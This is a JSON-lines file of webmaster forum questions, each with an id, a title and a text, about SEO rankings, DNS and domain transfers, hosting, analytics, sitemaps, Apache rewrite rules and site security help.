{"id":"4372","title":"Where can I get reliable information on website popularity?","text":"I know there is a site out there that provides data and stats on websites' relative popularity, unique hits etc, but I can't remember what it's called. This isn't for my own site, I want to look up more general stats.. thanks"}
{"id":"4375","title":"Red5: Live Cam Streaming","text":"We're looking to add public\/private \"cam rooms\" to our site. Similar to about a thousand other sites on the web (Chat Roulette, Stickam, etc). We've been using Red5 for the past year with various ready-to-go Flash chat apps, and we've been using JW Player for years. So we think we have the basic infrastructure in place to make this happen. But I'm a bit fuzzy on some details, and Red5 docs are hard to find. My questions are: 1) What kind of software is needed to capture a person's cam, and send it back to the Red5 server? 2) Once step 1 is complete, how would I view the cam using JW Player (or any player actually)? Additionally (and probably obviously) we would need a way to have different \"rooms\". Meaning sending the cam stream to room 1234, and pointing the player at that room to view the cam stream. Can Red5 do this out of the box with the included demo software? Any tips\/tutorials on setting this up would be greatly appreciated."}
{"id":"11069","title":"What are the PCI compliance and security implications for processing payments through my embeddable widget?","text":"I've built a little embeddable Javascript widget that list items for sale for publishers to embed on their site. The current use case is that when the user clicks on an item, they are redirected to my site where they can get more information and hopefully purchase the item. Typical workflow here. What I would like to do is move that entire workflow inside the widget. Specifically, I'd like for the user to purchase the item directly through the widget without ever having to go to my site. The widget would communicate with my back-end over SSL which would delegate the payment processing to Braintree or some other 3rd party gateway. Technically, this is very feasible for me to implement. But are there any regulatory or compliance issues that would make this infeasible? What sort of issues do you expect I would encounter if I were to take this approach? What are the security implications?"}
{"id":"36360","title":"How to track site visitors across several browser sessions or computers using Google Analytics?","text":"If a site visitor clears cookies, uses various browsers or computers then Google Analytics will have a hard time detecting them as being by the same user. However since 95% of the site content is only available when logged in, so I should be able to identify multiple visits as the same user so long as they log in. How can I help Google to identify that the visits are by the same user? (without breaking the Terms and Conditions)"}
{"id":"14541","title":"Does the main URL of the website matter most in Google?","text":"Say I have a website\/blog about 'tech news' at my URL `mattynews.com`, and my website is dedicated for 'tech news' with friendly SEO, and someone else has a site with the URL `technews.com` - will they get better results in Google? My point is - if my site is dedicated to my work, and someone else has my subject in their URL, it gets better results, even though my site is 10x better as in related results in the inner site. Is that normal? Or is it something I have to deal with\/overcome?"}
{"id":"11060","title":"Single site web proxy","text":"I want to create a dynamic mirror or a single site web proxy for my blog on a different domain. I have access to a php based web hosting, I own the content on the original site and due to low traffic I think bandwidth is not a issue at all. What would be the best way to proceed? To provide some context, my real problem is: - I have a blog hosted on blogger with a custom domain. (e.g. www.abc.com) - Blogger as a whole is blocked in some countries which effectively makes my blog blocked effectively. - I own another domain www.def.com and a hosting and all I want is www.def.com to be a dynamic mirror of www.abc.com. Redirecting will not work because, it will not really bypass the blocking filters. I am happy with the service of blogger and I do not really want to move or duplicate things. Before I did not have this problem because blogger allowed me to use ftp and upload stuff on a different hosting server but is not a n option any more."}
{"id":"11063","title":"Domain Transfer not carrying over paid time","text":"I recently renewed my domain for a year on BlueHost. A few days later, I decided to transfer it to GoDaddy. After transferring, GoDaddy did not show the new year that I recently paid for. After contacting their support, they blamed it on BlueHost. After contacting BlueHost support, I was given the following reply. Does anybody know if this is actually an ICANN policy, or if they're just trying to short me out of the 10 bucks. > Your domain was in the 45 day auto renew grace period. This is an ICANN > policy. In short, it means that the renewal is considered tentative for 45 > days and not permanent. If you transfer the domain within that 45 day period > you don't get the year you paid for."}
{"id":"14544","title":"Which tool can change file permissions recursively","text":"I need to change file and folder permission on remote linux web server recursively. For fast uploading i zipped my files and uploaded that zip file. Later on i extracted zip file using file manager of hosting server. It unzipped files but ther file permissions we set to 600 for files and 700 for folders. Now i need to change them 644 and 755 to all files and folders recursively. I do not want to check in folder by folder and change the permission. Is there any tool that can do that recursively?"}
{"id":"38129","title":"Program to send beacons each 15 seconds","text":"I am looking for the tray-minimizable program, which sends an HTTP request to my server each 15 seconds immitating user activity."}
{"id":"15495","title":"someone was able to upload php files without ftp access to my server","text":"I have website in PHP\/MYSQL developing using CakePHP framework. Recently it was hacked and someone was able to upload some PHP and JS files and the site was down. The website FTP, control panel etc were all secured. So I am wondering if someone can help that how that person would have been able to do this so that I can have it fixed. It is very critical for me to plugh this asap. Please help."}
{"id":"34454","title":"(Blogger) Map GoDaddy Domain For Blogger Custom Domain","text":"I just bought a new domain from GoDaddy (nurayka.net) and I want to use it for my .blogspot.com blog now. Here is my Blogger settings. And here is my GoDaddy DNS settings. After more than 24 hours, I still can't view my blog with that custom domain. It seems that it might be something wrong with my DNS settings. 1. Does my DNS settings correct? 2. Does GoDaddy Domain Forwarding should be enabled from 'nurayka.net' to 'www.nurayka.net'? Note: Before this, I have go through the GoDaddy Blogger DNS Setup and CNAME Tutorial. In the GoDaddy Blogger DNS Setup, I entered 'www.nurayka.net' and in the CNAME record (www), I entered 'ghs.google.com'. Thank You!"}
{"id":"15492","title":"Mobile web design: ebay mobile","text":"when I looked at the eBay mobile web site, I realized, they have two versions: mobileweb.ebay.com > this seems to be the newer one m.ebay.com > looks older Is there a reason for it? Is the web site at m.ebay.com maybe more compatible with older devices?"}
{"id":"8667","title":"Image not updating for some users","text":"I don't know if this is the best practice, but we added an image with a snow delay for our school. For some users the image wouldn't come up. Is this a matter of the browser or something else? I had to use Ctrl + F5 to clear the cache to see the updated image."}
{"id":"17897","title":"How to deploy ASP.NET application with MS SQL server database","text":"I want to deploy my website with MS SQL server database. It's my first time and I have never done it before. What I have come to know from my googling is that I must have a domain(.com\/.net\/.co) and a host(for my web pages `.aspx` & `.cs`( **confusion here if I can also deploy my database** )). Now, I am not getting to where I have to deploy my database. If I also have to buy a seperate SQL Server database or a host consisting of every thing (means I can deploy both my ASP.NET application & database as well)."}
{"id":"4080","title":"Metrics on \"market share\" for server-side scripting languages","text":"Does anyone know of any market share information for server-side scripting languages (# of web servers, % of web servers, etc.)? I'm learning how to do server-side scripting with Python (via the examples in Programming Python). I just can't ever remember having seen a web address with \".py?\" in it ... they're almost all \".php?\" or \".asp?\". Thanks, Mike"}
{"id":"47919","title":"Use email via Google Apps to avoid shared hosting issues with blacklisted IP","text":"I currently use a hosting package that is used both for the website and emails. Since it is a shared hosting the IP is sometimes blacklisted so our emails are considered SPAM and are bounced back. I want to setup Google Apps account, only for the email addresses, to avoid the situation of emails considered SPAM because of blacklisted IP. I plan to setup the DNS (provided by the domain registrar) with a domain mx records that points to google mail servers, and keep the A records (for the website) to point to the shared hosting server. I wonder how will the destination email server react in a case when we send email via google mail servers, but still use our own domain name? Will the destination mail server still check whether our shared hosting IP (resolved with our domain name) is blacklisted, or it will only consider the google mail server IP? Thanks!"}
{"id":"31449","title":"Pages are indexed but disappear after few days","text":"My pages get indexed after 1 day, but some days later disappear from search results. Any idea why this happens? I've been trying to find any of the usual problems like hidden links or other issues, but can't find anything wrong. Here is an example. It was on first page until yesterday, today is gone. This is happening with all my pages lately, so I think it must be something common to all, but can't figure out what."}
{"id":"11327","title":"Google's 200 ranking factors","text":"When doing research on SEO you most probably stumbled upon Google's statement there are approximately 200 ranking factors. I think it would be nice to have a list of all these 200 factors. Does anybody know if Google ever published all ranking factors? And if so, where these can be found?"}
{"id":"11324","title":"How to accomplish a rich snippet with Twitter?","text":"I would like to enhance my CTR for my pages and\/or posts. When I publish these I tend to Tweet them so they become known. When doing some research on 'Grails' I just noticed the following snippet in Google:  Unfortunately my Google snippets never include the Tweet. My question is, how do I make sure that my tweet is included in the 'rich' snippet as shown above? In other words, which steps do I need to follow?"}
{"id":"61448","title":"What determines domain value?","text":"I want to buy a domain but everywhere I go they tell me that domain costs `$ 4000` who or what determines the value of this domain and why is it so high?"}
{"id":"55073","title":"What meta tag or microdata should I use for a dictionary web application?","text":"I have a web application that serves as a dictionary, and it ranks well in Google when searching for a rare word in my language (the dictionary's target language). I want the result to appear in the define: some-word, as well as in the search results when someone uses the filter tool Dictionary. Should I add some special meta-tag in the head of the HTML? How about microdata? Does google have a special webmaster tool for registering dictionaries like: wordnetweb.princeton.edu or en.wiktionary.org?"}
{"id":"5729","title":"Domains, hosting and the law","text":"Currently I live in the Netherlands. So, what if.. * I register a .CN domainname and upload my website to it. Under which law is my website? The Chinese or the Dutch? * and I host my website at the Isle of Man, under which law is my website? The Chinese, the Dutch or Isle of man?"}
{"id":"19139","title":"Adsense and blocking robots from web pages","text":"If I use a meta tag to make a page 'noindex' does this mean that my adsense ads will not be targeted?"}
{"id":"51554","title":"Knowing your online Competition how to reveal 301’s directing domains","text":"I truly believe that any webmaster entering any niche should investigate their online competition beforehand to know what they're up against and to see if their goals are realistic and affordable in both time and money. As you may know, there are a few ways of investigating your competition online. Rankings, local rankings, citations, social mentions and of course backlinks. This question is not related to any of the above but is related somewhat because it has the same end goal which you'll see momentarily. So hopefully my question and the answers to follow may aid some other webmaster encountering the same problem. I'll illustrate the problem as a scenario that'll hopefully give you an idea of what I believe and what I'm asking. _**The Scenario_** Your website has been ranking top for almost 2 years within a fairly competitive niche. Then, out of nowhere, you drop in ranking and a site that has never been on page 10, never mind position 10, is all of a sudden in top. An immediate reaction might be foul play and you investigate their content and backlinks, only to find that their content is extremely thin and they have zero backlinks. So the possibility here is that the backlinks have not indexed for that site with whatever tool you use to check for these yet. Or, Google for whatever reason has made an error that will resolve itself. 4 months on and the same thin site with 0 backlinks (Only those from expected bot\/scrapers - webstats etc) is still top in rankings. So it looks like this site is here to stay and you start thinking about other reasons to why your site is being outranked. One possible reason could be that your own rankings has slipped, along with many other sites but having all those sites drop in ranking is unrealistic so the only way forward would be to believe that they have earned their rankings through either reputation with Google or foul play. The conclusion here would be - or least mine - that the site in question has recently moved from one domain to another. They may just have a simple 301 re-direct from one domain to another, or they may have told Google within Google Webmaster Tools they have moved site. **_Scenario over._** _**The Question_** My question is fairly simple and I apologise for the long paragraphs of text but I want a good idea of what is trying to be achieved here. Enough typing, here's the question! Is it possible to find out if one domain has moved from one domain to another, either using 301 re-directs or moving in Google Webmaster Tools?"}
{"id":"5720","title":"Is there a Magento extension for combining\/compressing javascript and css?","text":"I thought Magento came with this feature out of the box but it doesn't appear to be working at all. I'm not sure if I haven't set it up properly, but right now I'm resorting to using `cat` and altering the `page.xml` layout file to use the combined javascript and css files. Can I make Magento do this instead or is there an extension that adds this feature? (duplicate of http:\/\/stackoverflow.com\/questions\/4236381\/is-there-a-magento- extension-for-combining-compressing-javascript-and-css)"}
{"id":"17040","title":"How to recover my inclusion in google results after being penalized for receiving comment spam?","text":"My website had very high search engine results, especially in Google. But I left the website for a couple of months and didn't notice the comments were full of SPAM, about 20k comments of SPAM. Then i checked my google results and I'm out of google ! After years of having good results, no spam, how can I now recover from that? The spam problem has been solved completely. No more spam, and the website is very legit and very nice. Well, at least I think I was penalized, I don't see any other reason."}
{"id":"19133","title":"Should I add a \"nofollow\" attribute to download links, or disallow the URLs in robots.txt?","text":"I have a download link very similar to Opera's one - it's just a script that sends the file. It doesn't have an extension and there's no obvious way to tell that it's actually a download link. So since I don't want robots to crawl this link, do I need to add it to robots.txt or maybe add a \"nofollow\" attribute to it? I see that on Opera's website they didn't do either of this, so perhaps it's not necessary?"}
{"id":"5727","title":"SItemap for site with translations","text":"I have a `domain.com` which I translated all of the pages in my domain to several languages, all on their own subdomain (e.g. `es.domain.com, cn.domain.com, ru.domain.com` ...). The top level domain \"domain.com\" is redirected to \"`www.domain.com`\" where the English version is hosted. I have several questions: 1) How should I list the translated pages in the sitemap (or maybe I shouldn't even list them?)? Can I list them on the sitemap that is served on www.domain.com\/sitemap.xml or should I prepare a unique sitemap for each subdomain (es.domain.com\/sitemap.xml etc.)? 2) According to the answer for the previous question, is there any damage using sitemap for multiple versions of the site? Should I just use a sitemap for the English version? Thanks, Joel"}
{"id":"5725","title":"The top reseller hosts with unlimited web space and bandwidth","text":"Hi I'm looking at finding myself a reseller hosting plan (preferably based in the UK) and I wondering if anyone knows of any good reseller hosts that provide **UNLIMITED** disk space and bandwidth. The only UK host I seem able to find that matches this description is heartinternet.co.uk. Are there any others you would recommend? P.S. Hosts with cPanel get a +1 !!"}
{"id":"61310","title":"Amazon S3, Require Credit Card?","text":"I am registering to Amazon S3, but it says that a credit card is required upon registration. My purpose is to create a dummy account where I can test the amazon S3 for development. Is there anyway to register without using a credit card? Or Is there any place where I can test for development?"}
{"id":"61314","title":"Google+ vs Google+ Local","text":"My client has both a Google+ and a Google+ Local account. Although I can find no definitive answer, it seems that each serve a different purpose and it is not the case as I first thought that they should only use a single Google+ account. This means I need to link both accounts to their website. The process for linking a Google+ account to a website is outlined here, complete with a glaring typo in the example code (it should be a link, not an anchor tag). However I am concerned that adding links to both accounts might be a bad idea. Can anyone confirm this is OK?"}
{"id":"61446","title":"What research methods could I use to determine the keyword(s) I should use for my site?","text":"In England, some primary students sit for an exam called the 11-plus. I need to figure out what keyword(s) to use for my related site, but I'm not sure how to go about this. What keyword research methods can be used for determining this? Should I use whatever Google Trends says? Should I go with one, two, or several keywords?"}
{"id":"61641","title":"How do I check my website on this iPhone web browser when I don't have an iPhone?","text":"Someone has sent me a screenshot of a website I'm coding. I'm not a fan of iPhone so I have no idea which browser it is. Here is the screenshot, so please let me know which browser is this and how to check my website on it. Is there a simulator on Ubuntu? "}
{"id":"61447","title":"SEO results in updating periodically a 301 redirect","text":"I'm in the unfortunate situation of managing a _very_ old website, that has been passed by the hands of at least 5 webmasters. Each has implemented new sections and other pages without regarding structure logic and SEO along with the rest of the site, creating multiple duplicated content pages. I have several cases of something like the following: * specific page of an article within a section (like `site.com\/section\/article-title`) * a generic link in the navigation linking to a \"latest section article\" wich is basically a duplicate of the previous page (the url is like `site.com\/section\/latest-article`) Previous practice was to update periodically the \"latest article\" page copy\/pasting what is the new content for the section, along with creating a proper article page in the section archive. This behaviour is replicated in several sections, updated with various ranges, usually few months or weeks. Unfortunately this site is built in flat HTML, and rebuild a controller logic on it could be quite time taking and my client is not willing to pay for it. As a quick and dirty fix to the duplicated content on search engines, I've placed some 301 simple redirect in the .htaccess file like this Redirect 301 \/section\/last-article.html http:\/\/site.com\/section\/article-title.html and so on for all the unnecessary navigation links in the menu. What I'm in doubt now is if it's considerated a bad practice to keep updating the redirects periodically according to the new published content, or if it's irrelevant for SEO. I guess it's a trivial question, but I haven't found anything like my situation in my researches."}
{"id":"63060","title":"Can microdata be used within META and custom tags?","text":"META tags that sit within **HEAD** of a webpage. What difference it makes when using microdata in them and outside of **HEAD** of webpage? Let's take for example \" **datePublished** \" property. Instead of hunting every time for text in content, why not just implement it within **HEAD** with **META**? According to Google's structured data testing tool if certain microdata is presented for search engines, then it also must be present on webpage's content, otherwise such misleading practice will result in penalty. Even if that's the case, implementing within META will save us time and eye strain when wanting to wrap microdata around piece of content. I will now explain about custom tag. I don't know about it being custom but I have seen tags like \"time\" where microdata code looked like this: <time itemprop=\"datePublished\">YYYY-MM-DD<\/time> <text itemprop=\"datePublished\">YYYY-MM-DD<\/text> Are TIME and TEXT custom made up tags or they are elements that belong somewhere? Can I customize these for my needs? Thanks"}
{"id":"60996","title":"Remove all issues from Google Webmaster Tools","text":"I have a lot of issues in the google webmaster tools (like 25 000) that are in the past and have been solved. I would like to remove all the issues to concentrate on the new ones, but I can only delete 1 000 of them per day. How can I remove all the issue in one time?"}
{"id":"23820","title":"Ranking in Google for New Sites","text":"I have a 3-months old site. I have been doing decent SEO for it. I have just 1 or 0 people visiting the site from Google and its concerning me. Is there some wait period before sites start to rank? In case anyone wants to check the backlink profile, the site problemio dot com (didn't want to seem spammy by posting the actual url)"}
{"id":"23822","title":"How do I send copies of e-mails to a handler script if my e-mail is hosted with Google Apps?","text":"I'm trying to figure out if there is a way that an email can be sent to two mail servers. One being a local server configured in CPanel and the other is Google Apps. I've already configured the server to allow for email to be sent to Gmail's servers with the MX record. But now I want it to also keep a copy of the email on the actual Cpanel server. That way any mail that is sent to an email address is viewed in Google Apps AND left on the server for Cpanel Horde\/etc to receive. I'm attempting this because of the fact that my webhost doesn't allow connections for some reason to Google Apps via a PHP script (like setting it up would cause errors). Can anyone help?"}
{"id":"23823","title":"Publishing an asp.net mvc3 website database and all to a website?","text":"Just wondering is this possible : I have some local databases which run fine. If I could move them all up to a server online it would be great (with their data and all that). Currently, what I'm doing is creating the datbaases remotely and creating the tables to match the ones on my project along with the tables then uploading using webmatrix and setting the appropriate connection string to the databases on the server (not even sure if this will work, haven't been able to test it yet). Just wondering, since I'd potentially save a lot of time and effort, could I just move the local database online as part of the publish process?"}
{"id":"23352","title":"Cleaning up the mess with SEO and conversions in mind","text":"I'm having some kind of a unique situation here, but at the same time it's the typical mess web-beginners create. I took over a project for an event-company and at the moment they're having several sites and domains online for the similar (but not the same) thing. So they're offering 4 different main events and they basically are in the same branch (sports) and the same location, but other than that they've got nothing to do with each other. Problem is that they set up several (more than 1 each) domains and with that also different designs, which is just a big big mess to maintain. They're also sometimes fighting with duplicate content. At the same time though more than 1 of those pages appear in the google results for the same keyword (sometimes covering more than 50% of the search results on the first page) - meaning the users conversion rate is much higher than it would be with only one page. I'm wondering now what advise would be best, as I have a hard time deciding between cleaning it all up to not more than 1 page each sport and leaving the structure as it is, - as it has a good conversion rate. Do you think 4 different designs are distracting the user although they're of the same company ?"}
{"id":"54016","title":"Whats the best approach for headings 2013?","text":"We are creating some informative articles on our website. Typically an article will have a natural title such as \"Now it’s Even Easier to Arrange Loans Online\". The keyword that we're targetting here is \"loans online\". The anchor text will also be \"loans online\". The question is would it be better for SEO to add a new H1 containing the exact anchor text, and relegate the title to an H2 something like this? <h1>Loans Online<\/h1> <h2>Now it’s Even Easier to Arrange Loans Online<\/h2>"}
{"id":"65815","title":"All the pages from search keyword is gone!","text":"Yesterday when i have checked me website's page ranking is search engine as per keywords, at that time it was perfect. But today when i was checking i found that mojority of keywords are not in top 100. I have attached one image. check it and answer me the reason...  I have only one question why it is happening? please help me..."}
{"id":"27118","title":"When is the leading slash (\/) needed in mod_rewrite patterns?","text":"Here is an example from the Apache documentation for enforcing canonical hostnames: RewriteCond %{HTTP_HOST} !^www\\.example\\.com [NC] RewriteCond %{HTTP_HOST} !^$ RewriteRule ^\/?(.*) http:\/\/www.example.com\/$1 [L,R,NE] What I would like to know is why the \/? is needed. I've tried removing it and everything appears to work the same. I was under the impression that the pattern part of the rewrite rule was compared against what comes after the slash."}
{"id":"27119","title":"Having good domain name and using domain aliases (I use notlong)?","text":"I use only free servers and after creating my website I decided to make access to that domain by **simple domain name** . I decided to use domain alias notlong service The second advantage of using alias here was to be **independant from my file host** which I will have to change. I haven't found a better alias service like _notlong_ , because _notlong_ is **easy to remember**. After that I encounter many problems: * most of forums or social services treat _notlong_ address as a **spam** , * Bing so far haven't accepted the notlong domain and others. * * * Is it another way **to have good free domain name**? How about the situation **when your hosting server will inform you to expire**? Only a lasting layer of domain aliases make you independent from the real file hosts."}
{"id":"65818","title":"Yahoo sitemap ping URL?","text":"We recently used the URL: http:\/\/search.yahooapis.com\/SiteExplorerService\/V1\/updateNotification?appid=YahooDemo&url=.... To ping Yahoo about sitemap changes. This URL turned out to time out and is not reachable. Then I googled and on the Yahoo site I found a different URL which also times out: http:\/\/search.yahooapis.com\/SiteExplorerService\/V1\/ping?sitemap=.... What is the correct address to ping Yahoo about sitemap changes?"}
{"id":"22197","title":"Why is Google ignoring my pages after a sitemap submit?","text":"I've submitted a Google sitemap with 12 links in, and Google has accepted the links (2 weeks ago) but it insists on only showing 4 out of the 12 pages in the search results. Even when doing a site: in Google only shows these 4! Any ideas how this can be corrected?"}
{"id":"22195","title":"Internal WordPress pages all 404 when using WAMP","text":"I have a problem when using WAMP while designing and coding my site. Well, I have a local version of Wordpress installed in WAMP and use it as a tool to see my changes when coding. I also have the same files uploaded to some free hosting. The problem is when I want to access for example `http:\/\/localhost\/contact`. Browser gives me a **404** error. As I said, the same files (exact copy from my PC) are on the web here and when I go to `http:\/\/thefalljourneyindia.iblogger.org\/contact` it opens the page fine (without the style of course because I haven't made one yet). Why is that and how do I get to see all of my pages locally like I can when the WP installation is online?"}
{"id":"68714","title":"Can a soft link be used to fix URL problems?","text":"I'm developing a new website to replace our old website. The URL the dev site is `11.22.33.44\/~abc\/` (not that IP exactly) because that's what HostGator gave me to use. Once complete, I'll change DNS servers so our domian name points to that server and not our old one. I'm using Drupal and am taking great care to keep all links relative. However, because of the `\/~abc\/` in the dev URL, it's not always possible to keep it relative and many links will break. Within the Drupal system or anywhere Drupal PHP is used, like for menus, it can figure out the URL on it's own. But for any images and links entered into the WYSIWYG, those will break. Can a soft link fix this problem? Should I use the command `ln -s \/~abc \/`? Will the URL `example.org\/~abc\/node\/1` then show the page `example.org\/node\/1` ? I know this is not ideal for SEO, maintenance, and other reasons. But it would make the migration much smoother and quicker."}
{"id":"44315","title":"Site not showing in google search, and webmaster tools showing irrelevant keywords","text":"In Google Webmaster Tools, for my relatively new website: `www.caterboxgroup.co.uk`, it says there are 3 keywords: _domain_ , _registered_ and _caterboxgroup_. The two first ones do not exist in the pages anywhere so I don't really understand what it's happening. Also, I have typed `caterboxgroup.co.uk` into google search and it returns any result. Please help..."}
{"id":"43969","title":"Responsive Design that Uses Different Images Sizes (big, medium & small) for Phones, Tablets, and PCs","text":"Our CMS creates 3 type of images size every time the content created: big, medium and small. We don't want to change our admin page that creates that 3 images types. Can anybody find a solution for our problem of creating a responsive front page using responsive design, which can load the different image for different browser sizes? * Mobile phone: small size images * Tablet : medium size images * PC: big size images I have heard many thing about responsive design, but it doesn't seem to account for the image size, it still loads the big image even in the small device. I found another website that loads different images, but it creates the small images on the fly as the website is loaded, so, I would like to find a different technique."}
{"id":"43960","title":"Crawling retail websites to use as templates","text":"I'm setting up a commerce website. I really like the Overstock website, and I was wondering if could simply crawl the website for the webpages, remove Overstock's logos, and use their website as a template. Is this legal, or can it get my website shutdown? How much code is a developer allowed to use before it's considered stealing?"}
{"id":"43965","title":"Republish \/ Change Publish Date Of An Article - Any SEO Help\/Harm?","text":"My sites has some old tutorials, which I am planning to update according to the latest version and change the publish date so that visitors can see it as a fresh tutorial. I am just concerned whether it will do any harm to the tutorial SEO or otherwise have any benefit or not. Any suggestions\/feedback is appreciated."}
{"id":"25177","title":"Analyze high load due to Joomla?","text":"I have a Joomla site causing very high (php) load on the server. I have already ran the MySQL slow log feature and it doesn't appear to be MySQL. What are some ways to analyze a Joomla site to determine what causes the high php load? Example of highest processes for the day: testing1 testing1.com 27.32 0.53 0.3 Top Process %CPU 179 \/usr\/bin\/php \/home\/testing1\/public_html\/index.php Top Process %CPU 138 \/usr\/bin\/php \/home\/testing1\/public_html\/index.php Top Process %CPU 137 \/usr\/bin\/php \/home\/testing1\/public_html\/index.php Using latest 1.5 Joomla on a CentOS server running Apache\/MySQL. I have full\/root access to this server, so whatever tools are needed I can install. I know the general idea is that a number of 3rd-party components are probably causing this, but how can I determine which ones (without removing\/disabling them)?"}
{"id":"62875","title":"Is there a way to customize the date range in Google Analytics and save that as my preference?","text":"Whenever I open my Google Analytics account, it shows me a default date range (last one month). But I am not interested in this range and I always change it to display the last 3 days. Just to highlight what date range I am referring to, here's a screenshot:  Is there a way to do this only once and save this to my preferences?"}
{"id":"42567","title":"Moving article (Deleting the original) to another blog - SEO MISTAKE?","text":"I'm trying to move an article to another blog, I already deleted the one from my blog and gave it to the other blogger, however, it is still indexed in Google, but if someone click it, he'll see a 404 error. Now the other blogger is worried about his web site being penalyzed if he publish the article. Thx in advance Ps: There is no way of making a 301 permanent redirect, because the original page no longer exists."}
{"id":"42560","title":"Low pagerank backlinks - does Google penalize?","text":"I have a new stock discussion forum and I would like to promote it. Specifically, I have two ideas in mind to help promote it: 1) Become a member at other stock discussion forums. Make high quality posts, build a good reputation, and leave a link to my own forum in a non intrusive way (ie. in signature or at the end of my posts). This approach makes sense because you can find other members in other forums that are interested in stock discussion and a backlink to your forum, as long as it is not done in an intrusive\/spammy way, should come across as acceptable. 2) Promote my site by writing articles at Squidoo, Hubpages, etc. This approach also makes sense because that's what Squidoo and Hubpages is for. The problem with both these approaches is that when I leave a backlink to my site, the page that I am leaving a backlink from may have a low PR - most likely, a PR of 0. Now, I have read that after the Penguin update by Google, your site can be penalized if you have too many backlinks from low PR pages: http:\/\/www.entrepreneur.com\/article\/224339 So, I am caught in a dilemma: a) If I start promoting my site via other stock forums, Squidoo, Hubpages, etc, but the backlink to my site comes from a page with low PR, Google may penalize my site. b) However, if I don't promote my site, nobody will ever discover it (aside from other promotion techniques like social media promotion, directories, etc)."}
{"id":"16568","title":"I registered my domain, but it doesn't appear to exist","text":"I wanted to register a domain with No-Ip and clicked the Sign Up button on their homepage. I entered my desired domain name (I won't publish it until I get this resolved, to prevent \"domain theft\"), then clicked Add my domain. I completed the order form, and waited 72 hours like it said, but my domain is still not active. Any help? Did I register my domain correctly?"}
{"id":"55691","title":"URL path structure for a website with several directories","text":"I am making a website with several directories that will have a high amount of content. For now I have separated the URLs into categories so that they’re like this: > www.example.com\/student\/ > www.example.com\/student\/student-name\/ > www.example.com\/student\/student-name\/biography > www.example.com\/student\/student-name\/image-gallery\/ > www.example.com\/student\/student-name\/image-gallery\/gallery-name-1 > www.example.com\/student\/student-name\/image-gallery\/gallery-name-2 > www.example.com\/student\/student-name\/contact > www.example.com\/teacher\/ > www.example.com\/teacher\/teacher-name > www.example.com\/teacher\/teacher-name\/biography > www.example.com\/teacher\/teacher-name\/image-gallery\/ > www.example.com\/teacher\/teacher-name\/image-gallery\/gallery-name-1 > www.example.com\/teacher\/teacher-name\/image-gallery\/gallery-name-2 There are many teachers, students, galleries, videos, etc. There are several more categories that are made in the same way, but before going online I would like to check whether this is the best way."}
{"id":"68414","title":"How to motivate visitors to comment","text":"At first I must apologize, because I am not sure if this question is valid for webmasters topic. I deal with the problem as being webmaster, however, i think this question is more related with marketing. Nevertheless, I was searching for marketing stack-overflow at meta stack-overflow and did not find such page. ## Background Four days ago, I launched a portal with database of barber salons at which people can find a salon through various criterions, see its photos, details, and also put a comment with their own opinion. The development took me half a year and it took me other 2 months to fill the database with information about barbers (I've also hired another three people to this job). I have not a big problem with getting people to my portal, I pay for PPC, comment on barber discussions etc.. In past four days I've reached a satisfactory number of visitors. ## Problem I deal with fact that everyone wants to search and read comments, but no one is willing to put her\/his own opinion to barber. **So I've tried following (2 days ago):** * Made comment anonymous, no one has to be afraid of compromise her\/his identity with a salon owner * I prepared a competition for users in which they can win a cosmetic package if they comment on at least three different salons * I payed for PPC campaign on facebook which is telling people about the competition * I registered competition on 20 portals for competitions **And the result:** * People are commenting on facebook that the competition is a good idea * They are giving likes on facebook * But no one put a single comment to a barber salon I am getting little confused about what am I doing wrong. I will be thankful for any advice."}
{"id":"42568","title":"Does adding live chat script to a website affect its SEO?","text":"I have a client who has added a live chat script just before his \/body tag. The live chat script uses WebSockets for communication with servers. However, it appears his SEO traffic decreased by a good margin after the addition. Can live chat script be the reason it happened? I understand that the question finally drills down to 'Does script tag affect SEO?' but was trying to give as much context as possible. This appears to have happened in first week of January. If the above is not the reason, have there been any changes to Google ranking algorithms recently?"}
{"id":"16562","title":"PHP Development Environment (Host: Windows 7, Guest: Ubuntu)","text":"Since editing files live from a remote server slows down development. I use XAMPP on windows to develop then run the web app's on a Linux server. However to avoid environment dependencies I'd like to mirror the live environment and the development environments. What I'm asking is running development server on Ubuntu inside VirtualBox whilst editing the source files via ftp\/Dreamweaver is a good idea? If so, and I wanted to view the local website on the host OS (windows) how would I do this? does the guest OS have a LAN\/Local IP address? I notice on windows \"ipconfig \/all\" there are \"tunneling\" adapters which I assume is for VirtualBox, so I guess the guest OS has the same LAN\/Local IP address? if so how would I view the websites hosted on the guest OS on the host OS? I'd also need to host FTP server on guest OS. Note: **I need windows!** I would love to use Linux all the way -.-"}
{"id":"47137","title":"Content licence vs SEO","text":"Which will boost a search engine optimization campaign: setting your content to creative common licence or copy-write protection of your content? and to what extent to they influence the SEO campaign?"}
{"id":"47130","title":"Google PageRank calculation","text":"I know this might be a stupid question, but I have recently heard, that Google PageRank takes into account links from my sites to big pages, i.e. when I link to big sites, my site get more PageRank. Is that true? (I am not talking about big sites linking to me)"}
{"id":"6647","title":"CMS for Blog site","text":"I would like to create a blog site with features like Engadget. The editor can upload blog and albums while users can comment. I know it's even easier to use blogspot but it's blocked in China. I have tried Joomla before. It seems a bit slow even after removing most of the modules and the memcache plugin doesn't help much either. Is there any other option? Do I need other plugins to run WordPress as blog?"}
{"id":"60195","title":"Standards for long format dialogue when published to web","text":"I'm posting some extremely long audio transcripts from 50 minute long radio recordings. I'm afraid that any search engine crawler will read these really long documents and treat it negatively because of keyword frequency or length. I've researched and found that for a dialogue a `<dl> <dt><\/dt> <dd><\/dd> <\/dl>` is recommended from http:\/\/www.sitepoint.com\/markup-musings.., but it doesn't provide me the right formatting so I've used a `<table>` instead. I'm wondering if there are any attributes or specific mark up I can use to help inform a browser that what it is looking at is a transcript of a recording? My code basically looks like this, with no attributes describing the information. Any suggestions are welcome! <table width=\"100%\" border=\"0\" id=\"blogposttable\"> <colgroup> <col width=\"17%\"> <col width=\"83%\"> <\/colgroup> <tbody valign=\"top\"> <tr id\"#speakerName\"> <td>Speaker name:<\/td> <td>What they said.<\/td> <\/tr> <!-- many more rows and columns following --> <\/tbody> <\/table>"}
{"id":"10810","title":"Confusing caching issue-DNS","text":"Yesterday I changed my DNS servers to point to a different server. This change has still not been displayed on my own computer, but it does from other computers around the world (checked using browsershots.org) I'm using OpenDNS for my DNS and there cache is pointing to the correct server. What could be meaning my computer still isn't going to the right place? Thank you!"}
